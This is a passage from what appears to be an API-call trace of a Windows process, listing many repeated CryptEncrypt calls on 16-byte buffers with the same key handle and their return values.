pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.369] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.370] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.371] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.372] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.373] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) 